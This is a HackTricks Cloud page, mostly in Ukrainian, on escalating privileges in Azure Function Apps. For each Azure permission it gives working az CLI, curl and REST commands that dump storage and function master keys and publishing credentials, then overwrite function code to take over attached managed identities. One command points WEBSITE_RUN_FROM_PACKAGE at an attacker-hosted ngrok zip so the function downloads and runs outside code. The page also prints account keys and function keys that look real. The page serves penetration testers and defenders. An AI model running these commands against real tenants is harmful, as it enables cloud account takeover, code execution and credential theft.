Files
hacktricks-cloud/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md

25 KiB
Raw Blame History

Az - Functions App Privesc

{{#include ../../../banners/hacktricks-training.md}}

Function Apps

Перевірте наступну сторінку для отримання додаткової інформації:

{{#ref}} ../az-services/az-function-apps.md {{#endref}}

Bucket Read/Write

Маючи дозволи на читання контейнерів всередині Облікового запису зберігання, який зберігає дані функції, можна знайти різні контейнери (кастомні або з попередньо визначеними іменами), які можуть містити код, виконуваний функцією.

Якщо ви знайдете, де розташований код функції, і у вас є дозволи на запис, ви можете змусити функцію виконати будь-який код і підвищити привілеї до керованих ідентичностей, прикріплених до функції.

  • File Share (WEBSITE_CONTENTAZUREFILECONNECTIONSTRING і WEBSITE_CONTENTSHARE)

Код функції зазвичай зберігається всередині файлового сховища. При достатньому доступі можна змінити файл коду і змусити функцію завантажити довільний код, що дозволяє підвищити привілеї до керованих ідентичностей, прикріплених до Функції.

Цей метод розгортання зазвичай налаштовує параметри WEBSITE_CONTENTAZUREFILECONNECTIONSTRING і WEBSITE_CONTENTSHARE, які ви можете отримати з

az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>

Ці конфігурації міститимуть Storage Account Key, який Функція може використовувати для доступу до коду.

Caution

З достатніми правами для підключення до File Share та модифікації скрипта можливо виконати довільний код у Функції та підвищити привілеї.

Наступний приклад використовує macOS для підключення до файлового сховища, але рекомендується також перевірити наступну сторінку для отримання додаткової інформації про файлові сховища:

{{#ref}} ../az-services/az-file-shares.md {{#endref}}

# Username is the name of the storage account
# Password is the Storage Account Key

# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py

open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
  • function-releases (WEBSITE_RUN_FROM_PACKAGE)

Також часто можна знайти zip релізи всередині папки function-releases контейнера облікового запису зберігання, який використовує функціональний додаток у контейнері зазвичай називається function-releases.

Зазвичай цей метод розгортання встановлює конфігурацію WEBSITE_RUN_FROM_PACKAGE у:

az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>

Ця конфігурація зазвичай міститиме SAS URL для завантаження коду з Облікового запису зберігання.

Caution

З достатніми правами для підключення до контейнера блобів, який містить код у zip, можливо виконати довільний код у Функції та підвищити привілеї.

  • github-actions-deploy (WEBSITE_RUN_FROM_PACKAGE)

Так само, як і в попередньому випадку, якщо розгортання виконується через Github Actions, можливо знайти папку github-actions-deploy в Обліковому записі зберігання, що містить zip коду та SAS URL до zip у налаштуванні WEBSITE_RUN_FROM_PACKAGE.

  • scm-releases(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING та WEBSITE_CONTENTSHARE)

З правами на читання контейнерів всередині Облікового запису зберігання, який зберігає дані функції, можливо знайти контейнер scm-releases. Там можливо знайти останній реліз у форматі файлу файлової системи Squashfs і, отже, можливо прочитати код функції:

# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table

# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table

# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip

## Even if it looks like the file is a .zip, it's a Squashfs filesystem

# Install
brew install squashfs

# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"

# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip

Також можливо знайти master and functions keys, збережені в обліковому записі зберігання в контейнері azure-webjobs-secrets всередині папки <app-name> в JSON-файлах, які ви можете знайти всередині.

Caution

З достатніми правами для підключення до контейнера blob, який містить код у файлі з розширенням zip (який насправді є squashfs), можливо виконати довільний код у Функції та підвищити привілеї.

# Modify code inside the script in /tmp/fs adding your code

# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip  -b 131072 -noappend

# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite

Microsoft.Web/sites/host/listkeys/action

Ця дозволяє перерахувати ключі функцій, майстер-ключі та системні ключі, але не ключ хоста, вказаної функції з:

az functionapp keys list --resource-group <res_group> --name <func-name>

З майстер-ключем також можливо отримати вихідний код за URL, як-от:

# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"

# Access
curl "<script-href>?code=<master-key>"
## Python example:
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v

І щоб змінити код, який виконується у функції з:

# Set the code to set in the function in /tmp/function_app.py
## The following continues using the python example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v

Microsoft.Web/sites/functions/listKeys/action

Цей дозвіл дозволяє отримати ключ хоста вказаної функції з:

az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"

Microsoft.Web/sites/host/functionKeys/write

Цей дозвіл дозволяє створювати/оновлювати ключ функції вказаної функції з:

az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Microsoft.Web/sites/host/masterKey/write

Ця дозволяє створювати/оновлювати майстер-ключ для вказаної функції з:

az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Caution

Пам'ятайте, що з цим ключем ви також можете отримати доступ до вихідного коду та змінювати його, як було пояснено раніше!

Microsoft.Web/sites/host/systemKeys/write

Ця дозволяє створювати/оновлювати системний ключ функції для вказаної функції з:

az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Microsoft.Web/sites/config/list/action

Ця дозволяє отримати налаштування функції. У цих конфігураціях може бути можливість знайти значення за замовчуванням AzureWebJobsStorage або WEBSITE_CONTENTAZUREFILECONNECTIONSTRING, які містять ключ облікового запису для доступу до блоб-сховища функції з ПОВНИМИ правами.

az functionapp config appsettings list --name <func-name> --resource-group <res-group>

Крім того, це дозволяє отримати SCM ім'я користувача та пароль (якщо увімкнено) за допомогою:

az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"

Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write

Ці дозволи дозволяють перераховувати значення конфігурації функції, як ми бачили раніше, плюс модифікувати ці значення. Це корисно, оскільки ці налаштування вказують, де розташований код для виконання всередині функції.

Отже, можливо встановити значення налаштування WEBSITE_RUN_FROM_PACKAGE, яке вказує на URL zip-файл, що містить новий код для виконання всередині веб-додатку:

  • Почніть з отримання поточної конфігурації
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
  • Створіть код, який ви хочете, щоб функція виконувала, і розмістіть його публічно
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server

# Serve it using ngrok for example
ngrok http 8000
  • Змініть функцію, збережіть попередні параметри та додайте в кінці конфігурацію WEBSITE_RUN_FROM_PACKAGE, що вказує на URL з zip, що містить код.

Наступний приклад моїх власних налаштувань, які вам потрібно змінити на ваші, зверніть увагу в кінці на значення "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip", тут я розміщував додаток.

# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'

Microsoft.Web/sites/hostruntime/vfs/write

З цією дозволом можливо змінювати код програми через веб-консоль (або через наступну API точку доступу):

# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body

Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)

Ці дозволи дозволяють перерахувати всі профілі публікації, які в основному містять базові облікові дані аутентифікації:

# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json

Ще один варіант - встановити свої власні облікові дані та використовувати їх за допомогою:

az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
  • Якщо облікові дані REDACTED

Якщо ви бачите, що ці облікові дані REDACTED, це тому, що вам необхідно увімкнути параметр базової аутентифікації SCM і для цього вам потрібен другий дозвіл (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):

# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'

# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
  • Метод SCM

Тоді ви можете отримати доступ до SCM URL вашого функціонального додатку з цими базовими обліковими даними та отримати значення змінних середовища:

# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v

# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy

Зверніть увагу, що ім'я користувача SCM зазвичай є символом "$", за яким слідує назва програми, отже: $<app-name>.

Ви також можете отримати доступ до веб-сторінки за адресою https://<app-name>.scm.azurewebsites.net/BasicAuth

Значення налаштувань містять AccountKey облікового запису зберігання, що зберігає дані програми функцій, що дозволяє контролювати цей обліковий запис зберігання.

  • Метод FTP

Підключіться до FTP-сервера, використовуючи:

# macOS install lftp
brew install lftp

# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/

# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it

Зверніть увагу, що FTP-ім'я користувача зазвичай має формат <app-name>\$<app-name>.

Microsoft.Web/sites/publish/Action

Згідно з документацією, це дозволення дозволяє виконувати команди всередині сервера SCM, що може бути використано для зміни вихідного коду програми:

az rest --method POST \
--resource "https://management.azure.com/" \
--url "https://newfuncttest123.scm.azurewebsites.net/api/command" \
--body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug

Microsoft.Web/sites/hostruntime/vfs/read

Ця дозволяє читати вихідний код програми через VFS:

az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"

Microsoft.Web/sites/functions/token/action

З цією дозволом можливо отримати адміністративний токен, який можна пізніше використати для отримання майстер-ключа і, отже, доступу та зміни коду функції:

# Get admin token
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01" \
--headers '{"Content-Type": "application/json"}' \
--debug

# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"

Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)

Ці дозволи дозволяють включати функції, які можуть бути вимкнені (або вимикати їх).

# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"

Також можливо перевірити, чи функція увімкнена або вимкнена за наступною URL-адресою (використовуючи дозволи в дужках):

az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"

Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)

З цими дозволами можливо модифікувати контейнер, що виконується функціональним додатком, налаштованим для запуску контейнера. Це дозволить зловмиснику завантажити шкідливий контейнер додатку azure function на docker hub (наприклад) і змусити функцію виконати його.

az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"

Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)

З цими дозволами можливо прикріпити нову керовану користувачем ідентичність до функції. Якщо функція була скомпрометована, це дозволить підвищити привілеї до будь-якої керованої користувачем ідентичності.

az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>

Remote Debugging

Також можливо підключитися для налагодження працюючої Azure функції, як пояснено в документації. Однак за замовчуванням Azure вимкне цю опцію через 2 дні, якщо розробник забуде, щоб уникнути залишення вразливих конфігурацій.

Можливо перевірити, чи увімкнено налагодження для функції за допомогою:

az functionapp show --name <app-name> --resource-group <res-group>

Маючи дозвіл Microsoft.Web/sites/config/write, також можливо перевести функцію в режим налагодження (наступна команда також вимагає дозволів Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/Read та Microsoft.Web/sites/Read).

az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>

Зміна репозиторію Github

Я намагався змінити репозиторій Github, з якого відбувається розгортання, виконавши наступні команди, але навіть якщо він і змінився, новий код не був завантажений (ймовірно, тому що він очікує, що Github Action оновить код).
Більше того, управляємий обліковий запис федеративних облікових даних не був оновлений, що дозволяє новому репозиторію, тому виглядає так, що це не дуже корисно.

# Remove current
az functionapp deployment source delete \
--name funcGithub \
--resource-group Resource_Group_1

# Load new public repo
az functionapp deployment source config \
--name funcGithub \
--resource-group Resource_Group_1 \
--repo-url "https://github.com/orgname/azure_func3" \
--branch main --github-action true

{{#include ../../../banners/hacktricks-training.md}}